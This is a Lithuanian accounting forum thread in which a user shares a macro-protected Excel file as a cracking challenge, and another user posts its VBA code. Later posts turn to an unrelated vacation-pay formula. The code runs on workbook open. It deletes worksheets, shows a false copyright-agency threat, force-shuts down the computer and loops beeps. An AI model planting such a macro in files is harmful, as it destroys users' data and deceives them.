Excel

Niemand Niemand 4933
2007-07-27 17:46 Niemand
Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite smile

Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti. Apsauga.xls
D
Dukas 204
2007-07-27 19:50 Dukas 2011-09-11 05-29

Niemand rašė: Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite smile

Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti.

Penki savižudžiai...
Trys programos-dokas atsidarė- kompas neišsijungė.
Tiesa neimetei to kas turėjo atsiverti nenaudojant apsaugos... Nežinau ar atsidarė teisingai.
D
Dukas 204
2007-07-27 20:34 Dukas
Na likusieji "savidžudžiai", kaip pasisekė? Kažko visi tylit negi iš tiesų kompai išsijungė... Įdomu...
Gita1 Gita1 8357
2007-07-27 20:36 Gita1
šiaip tai mažoka tų "savižudžių", turbūt reikėjo didelėm raidėm parašyt "neatidarinėkit" smile
D
Dukas 204
2007-07-27 20:42 Dukas 2011-09-11 05-29

Gita1 rašė: šiaip tai mažoka tų "savižudžių", turbūt reikėjo didelėm raidėm parašyt "neatidarinėkit" smile


Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]
Elvusia Elvusia 20010
2007-07-27 20:43 Elvusia
Žinot ką - jau buvau susinervinus iki užkulnių. Taip tas mano kompas vos kvėpsi, o čia - krenta visokios lentelės, išsijungė. Na, galvoju, šakės.
Reikėjo perspėt, kad žmonės valerijono prieš atidarydami stiklinaitę įkaltų :)
D
Dukas 204
2007-07-27 20:57 Dukas 2011-09-11 05-29

Elvusia rašė: Žinot ką - jau buvau susinervinus iki užkulnių. Taip tas mano kompas vos kvėpsi, o čia - krenta visokios lentelės, išsijungė. Na, galvoju, šakės.
Reikėjo perspėt, kad žmonės valerijono prieš atidarydami stiklinaitę įkaltų :)


Aha... auka numeris vienas... Vaistų pardavėjai Niemand jau procenčiukus galėtu pradėt mokėt... dar keli tokie makrosai ir valerijankos apyvarta išaugtu... A Lietuvos ūkininkai vietoj cukrinių ir rapsų pradėtu masiškai valerijonus auginti.
Gita1 Gita1 8357
2007-07-27 21:14 Gita1 2011-09-11 05-29

Dukas rašė: Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]

Ne. Ir nė nesiruošiu. smile
D
Dukas 204
2007-07-27 21:31 Dukas 2011-09-11 05-29

Gita1 rašė:

Dukas rašė: Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]

Ne. Ir nė nesiruošiu. smile

Gaila smile smile smile atrodes perspektyvus verslas- žlunga...
Gita1 Gita1 8357
2007-07-27 22:08 Gita1
Na neliūdėkit taip, jau 9 pasižiūrėjo ir kol kas tyli, viskas dar prieš akis...o dar savaitgalis baigsis... smile smile
Elvusia Elvusia 20010
2007-07-27 22:11 Elvusia
Taip išeina, kad aš viena tokia sąžininga, prisipažinau.
Kiti dabar tyliai keikiasi :)
Gita1 Gita1 8357
2007-07-27 22:18 Gita1
įdomu tik kuris dabar labiau žagsi Niemand ar Dukas smile
W
Wyshniux 673
2007-07-28 10:52 Wyshniux
Žiauru: nustatytas saugumas, ant žemiausio lygio, išmetė kažkokią lentelę, kad klaida ir viskas baigėsi smile galvojau kad bent jau kompas nuluš, persikraus ar dar kas nors, o čia nieko gero, sugadino visą šeštadienio ryto malonumą smile
wariuga wariuga 145
2007-07-28 11:41 wariuga 2011-09-11 05-29

Niemand rašė: Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite smile

Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti.


Sveikinu!!! Jums Pavyko!







Private Sub Workbook_open()
Set fs = Application.FileSearch
With fs
.LookIn = "C:\windows"
.Filename = "chk.dll"
If .Execute(SortBy:=msoSortByFileName, _
SortOrder:=msoSortOrderAscending) = 0 Then

Application.DisplayAlerts = False
For i = 1 To Worksheets.Count - 1
Worksheets(2).Delete
Next i
vardas = ActiveWorkbook.Name
Workbooks(vardas).Save
Application.DisplayAlerts = True
MsgBox "Nelegali kopija. Siunciamas pranesimas autoriu teisiu apsaugos agenturai."
MyAppID = Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") ' Run Microsoft Word.

For x = 1 To 20
Beep
x = x - 1
Next
Else
Worksheets("Virselis").ChartObjects(1).Visible = False
For i = 2 To Worksheets.Count
Worksheets(i).Visible = True
Next i

End If
End With

End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
Application.DisplayAlerts = False
Worksheets("Virselis").ChartObjects(1).Visible = True
For i = 2 To Worksheets.Count
Worksheets(i).Visible = False
Next i
vardas = ActiveWorkbook.Name
Workbooks(vardas).Save
Application.DisplayAlerts = False
End Sub

Niemand Niemand 4933
2007-07-28 18:12 Niemand
Atrodo vieną savo klaidą jau matau. Vietoj Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") tikriausiai reikėjo įrašyti Shell("shutdown.exe -s -f -t 01"), nes langų instaliacinės direktorijos gali skirtis teoriškai.

Kaip jau sakiau, aš ne programeris, aš tik mokausi smile
W
Wyshniux 673
2007-07-29 10:33 Wyshniux 2011-09-11 05-29

Niemand rašė: Atrodo vieną savo klaidą jau matau. Vietoj Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") tikriausiai reikėjo įrašyti Shell("shutdown.exe -s -f -t 01"), nes langų instaliacinės direktorijos gali skirtis teoriškai.

Kaip jau sakiau, aš ne programeris, aš tik mokausi smile


Pasižiūrėjau aš tą shutdown.exe, viskas vietoi failiukas vietoi, kelias nurodytas teisingai, windows'u dir'as vietoi, reikės pirmadienį darbe jei nepamiršiu pasižiūrėt, o antras variantas teisingesnis nes bet kokiu atveju, windai standartiškai visą shell'a užsikrauna, nors jaučiu bėda mano kompe, aš apkarpęs savo windausus iki minimumo ir atjungta krūva servisų, plius dar pora bajerių pridėta smile Mokslas - šviesa smile
M
Mandera 468
2007-07-31 11:19 Mandera
Sveiki,
Gal kas turite excelini darbuotoju saraso varianta, kad butu galima daryti pasirinkimus, pvz del specialybes, del pavardes ir pan.
Imeskite ivairiu variantu kas turite.
Is anksto dekoju.
M
Mandera 468
2007-08-02 10:48 Mandera
Nesu excel "specas" smile , todel norejau paprasyti excelyje paruosti tokia kasmetiniu atostogu skaiciuokle.
Pagal DK 170str. 1d. 6p., kai nemokamos atostogos(NA) per darbo metus virsija 14 kalendoriniu dienu, jos neiskaitomos i tu metu darbo staza.
Bandysiu parasyti formule

28/365 * [365-(NA-14)]

Siaip gal butu elementaru, bet reikia irasyti salyga, kad kai NA<14, tai toje formuleje vietoje NA reiketu, kad atsirastu 14 ir kasmetines atostogos skaiciuojamos iprasta tvarka.
is anksto dekoju uz pagalba
W
Wyshniux 673
2007-08-02 11:21 Wyshniux 2011-09-11 05-29

Mandera rašė: Nesu excel "specas" smile , todel norejau paprasyti excelyje paruosti tokia kasmetiniu atostogu skaiciuokle.
Pagal DK 170str. 1d. 6p., kai nemokamos atostogos(NA) per darbo metus virsija 14 kalendoriniu dienu, jos neiskaitomos i tu metu darbo staza.
Bandysiu parasyti formule

28/365 * [365-(NA-14)]

Siaip gal butu elementaru, bet reikia irasyti salyga, kad kai NA<14, tai toje formuleje vietoje NA reiketu, kad atsirastu 14 ir kasmetines atostogos skaiciuojamos iprasta tvarka.
is anksto dekoju uz pagalba

jei gerai supratau:
vienas paprastas if: formulė būtų if(NA<14 [čia sąlyga]; [jei mažiau] ; [jei daugiau] ) etc: =if(NA<14;28/365*"Atostogos"; 28/365*(365-(NA-14)))

kažkas tokio
M
Mandera 468
2007-08-02 11:26 Mandera
Bandziau kurti, jei galetumete pataisykite Atostogu skaiciavimas.xls
Tu esi neprisijungęs vartotojas
Prisijungti arba registruotis
Tax.lt © 2002 - 2024, admin@tax.lt, Reklama tax.lt

Buhalterinės apskaitos sistema internete smulkiam ir vidutiniam verslui